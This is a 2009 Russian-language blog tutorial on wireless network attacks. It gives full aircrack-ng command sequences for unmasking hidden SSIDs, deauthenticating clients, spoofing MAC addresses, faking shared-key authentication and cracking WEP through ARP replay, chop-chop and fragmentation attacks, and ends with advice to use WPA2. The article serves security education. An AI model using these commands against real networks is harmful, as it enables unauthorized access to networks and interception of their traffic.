Information Security
25 January 2009

Атаки на беспроводные сети. Часть 1

В прошлой статье о беспроводных сетях мы рассмотрели первый этап — сбор информации, или wardriving. Сейчас же, продемонстрируем несколько способов получения несанкционированного доступа к беспроводным сетям, а также рекомендации по защите от них.



Сначала перечислим варианты защиты, которые могут быть использованы на точке доступа для ограждения сети от чужих пользователей:
  1. SSID Cloaking — скрытие имени сети. Доступ разрешается только клиентам, которые знают это имя.
  2. MAC Filtering — фильтрация по MAC адресам. Доступ разрешается только клиентам, адреса сетевых адаптеров которых записаны в точке доступа.
  3. Shared key Authentication — аутентификация с общим ключом. Доступ разрешается лишь тем клиентам, которые прошли проверку, используя общий ключ.

Важно отметить, что эти методы не обеспечивают конфиденциальности данных, передаваемых по сети, они просто ограничивают доступ к сети. То есть, даже если все эти средства включены на точке доступа, злоумышленник сможет, включив свой беспроводной адаптер в «monitor mode», слушать эфир и вылавливать всю передаваемую информацию. Следующие методы криптографически защищают данные:
  1. WEP — статистически самый используемый метод защиты беспроводной сети. Предоставляет шифрование всех передаваемых по сети данных. Аутентификации, как таковой не имеет — если вы не знаете ключа, вы не сможете расшифровать данные. Недостаток этого метода — очень слабый алгоритм, ключ взламывается злоумышленником менее чем за 5 минут.
  2. WPA и WPA2 Pre-Shared Key — сильная система аутентификации и шифрования данных. Доступ производится через общий ключ. Уровень защиты равен сложности общего ключа, так как система подвержена brute force атакам.
  3. WPA и WPA2 Enterprise — вариант предыдущей системы, но для подтверждения личности используется внешний аутентификатор 802.1x EAP, что позволяет использовать сертификаты, смарт карты и т.д.

Сегодня мы рассмотрим обход первых четырех систем защиты. Основной инструмент для подобных манипуляций — программный пакет Aircrack-ng suite. Мы рекомендуем использовать ОС Linux, так как этот пакет более развит в Linux версии, и что более важно — подходящие драйверы, позволяющие атаковать беспроводные сети, более широко представлены под Linux (На Windows платформах поддерживаются только адаптеры компании CACE — Airpcap). Подробные инструкции по установке правильных драйверов и самого Aircrack-ng вы найдете здесь. Теперь приступим к самому процессу.

Для удобства в дальнейшем будем использовать такие обозначения:

00:aa:aa:aa:aa:aa — MAC адрес точки доступа

00:cc:cc:cc:cc:cc — MAC адрес подключенного к этой точке клиента

00:ff:ff:ff:ff:ff — MAC адрес нашего адаптера

wlan0 — имя нашего беспроводного интерфейса

1.Обход SSID Cloaking


При подключении к точке доступа, на которой активировано скрытие имени, клиент всегда отправит это имя. Поэтому нам достаточно дождаться одного клиента и все. Для этого запускаем

airodump-ng wlan0 -c <канал, на котором находится точка доступа>


и если в крайней колонке вы видите <Length:X>, где Х — некое число, то эта сеть скрывает свое имя. Далее нужно подождать немного, пока кто-то подключиться, и тогда значение в колонке изменится на имя сети автоматически. Либо, если долго не удается ничего словить, то можно запустить деаутентификацию командой

aireplay-ng wlan0 -0 100 -b 00:aa:aa:aa:aa:aa, где 100 — количество деаутентификаций клиентов


Эта операция начнет рассылать пакеты, приказывающие клиентам, подключенным к точке доступа, отключиться от нее. Они отключатся и через несколько секунд начнут подключаться вновь, отсылая в запросе на подключение имя сети. Соответственно airodump-ng его сразу покажет. Для большей эффективности деаутентификации лучше атаковать конкретного подключенного клиента

aireplay-ng wlan0 -0 100 -b 00:aa:aa:aa:aa:aa -с 00: сс: сс: сс: сс: сс

Также для целей раскрытия имени сети можно использовать kismet. Эта программа автоматически выдает имя сети при подключении к ней клиента.

2.Обход MAC Filtering


Для подключения к точке доступа, которая фильтрует пользователей по MAC адресу их адаптера, необходимо знать лишь MAC адрес уже подключенного клиента. Зная адрес, в ОС Linux выполните

ifconfig wlan0 down

ifconfig wlan0 hw ether 00:cc:cc:cc:cc:cc

ifconfig wlan0 up

либо для OC Windows, воспользуйтесь утилитой MAC changer. Далее необходимо дождаться пока

легитимный клиент отключится, и тогда подключиться, либо использовать атаку деаутентификации на легитимного клиента.

3.Обход Shared Key Authentication


Если вы пытаетесь проделать фальшивую аутентификацию командой

aireplay-ng wlan0 -1 4000 -a 00:aa:aa:aa:aa:aa

и вместо сообщения об успехе получаете

Sending Authentication Request
AP rejects open-system authentication
Please specify a PRGA-file (-y),

то необходимо получить екземпляр аутентификации с общим ключом. Программа airodump-ng это умеет. Запускаем её и ожидаем, пока поле AUTH для выбранной сети не станет равно SKA. Это значит, что программа словила аутентификацию и сохранила ее в файл с именем sharedkey-*.xor. Далее выполняем

aireplay-ng -1 4000 -e <имя сети> -y sharedkey-<ваш файл>.xor -a 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff wlan0

и вы аутентифицируетесь. Если же долго не появляется SKA в airodump-ng, то можно, как и в случае с раскрытием имени, деаутентифицировать существующего клиента.

4. Взлом Wep ключа


Алгоритм шифрования используемый WEP еще в начале этого века был взломан, и после этого уже несколько раз в нём находились еще большие уязвимости, позволяющие восстанавливать ключ шифрования еще быстрее. Первая программа, осуществляющая взлом WEP ключа, называлась airsnort и могла это сделать, словив 8-10 миллионов пакетов. Позже, aircrack-ng это позволяла сделать в 10 раз быстрее. А в 2005 году с приходом aircrack-ptw необходимое количество пакетов уменьшилось до 20-80 тысяч, в зависимости от длины ключа.

Для того, чтобы не ждать, пока адаптер словит 80 000 пакетов, мы будем эти пакеты генерировать сами. И самый лучший для этой цели пакет — ARP. Его можна добыть несколькими способами. Но начнем мы с фальшивой аутентификации, без которой точка доступа будет просто игнорировать наши отправляемые пакеты.

aireplay-ng wlan0 -1 4000 -a 00:aa:aa:aa:aa:aa


И запускаем Airodump-ng, чтоб сохранять пакеты

airodump-ng wlan0 -c 6 -w save, где 6 — канал сети, save — сохранение

Далее самый простой способ:

aireplay-ng wlan0 -3 -a 00:aa:aa:aa:aa:aa

В этом случае адаптер ловит пакеты и ожидает ARP пакеты. Когда же он появится программа, автоматически начинает его ретранслировать, генерируя новые пакеты, необходимые нам для взлома ключа. После этого запускаете программу:

aircrack-ng save-*.cap


и ждете пока она вам не выдаст ключ сети.

Так же можно самим создать этот ARP пакет. Для этого нам понадобится поток ключа (keystream). Достать его можна двумя способами. Первый — chop-chop атака, более медленная но срабатывает чаще.

aireplay-ng wlan0 -4 -b 00:aa:aa:aa:aa:aa

Вскоре программа словит пакет и, если его размер больше 56 байт, можете нажимать 'y'. Через некоторое время поток будет добыт и сохранен в replay_dec-*.xor. Если же программа выдала ошибку, попробуйте запустить её так:

aireplay-ng wlan0 -4 -b 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff

И обязательно перед этим запустите фальшивую аутентификацию.

Другой вариант — фрагментационная атака. Она значительно быстрее, но работает не на всех точках доступа.

aireplay-ng wlan0 -5 -b 00:aa:aa:aa:aa:aa

После успешного выполнения вы также получите файл fragment-*.xor

Далее, имея файл с потоком ключа, мы создаем пакет:

packetforge-ng -0 -a 00:aa:aa:aa:aa:aa -h 00:ff:ff:ff:ff:ff -k 255.255.255.255 -l 255.255.255.255 -y <файл с потоком> -w arp, где arp — файл для сохранения пакета.

Теперь мы этот пакет будем постоянно отправлять:

aireplay-ng wlan0 -2 -r arp

И также, как и в первом варианте, запускаем aircrack-ng и ожидаем вывода ключа сети.

5.Защита


Как видите, все эти 4 метода имеют уязвимости и легко обходятся, так что даже комбинация SSID cloaking + Mac filtering + SKA +WEP займет у злоумышленника больше времени, но в итоге своего он добьется. Поэтому мы рекомендуем использовать исключительно WPA2 с длинными ключами в случае PSK и надежной системой внешней аутентификации в случае WPA2-Enterprise. Остальные методы не предоставляют достаточного уровня безопасности.

В следующей статье мы рассмотри более экзотические атаки на WEP (caffe-latte, client fragmentation и подключение к сети, не зная wep ключа), а также атаки на WPA и способы защиты от них.

+113
62k 431
Comments 98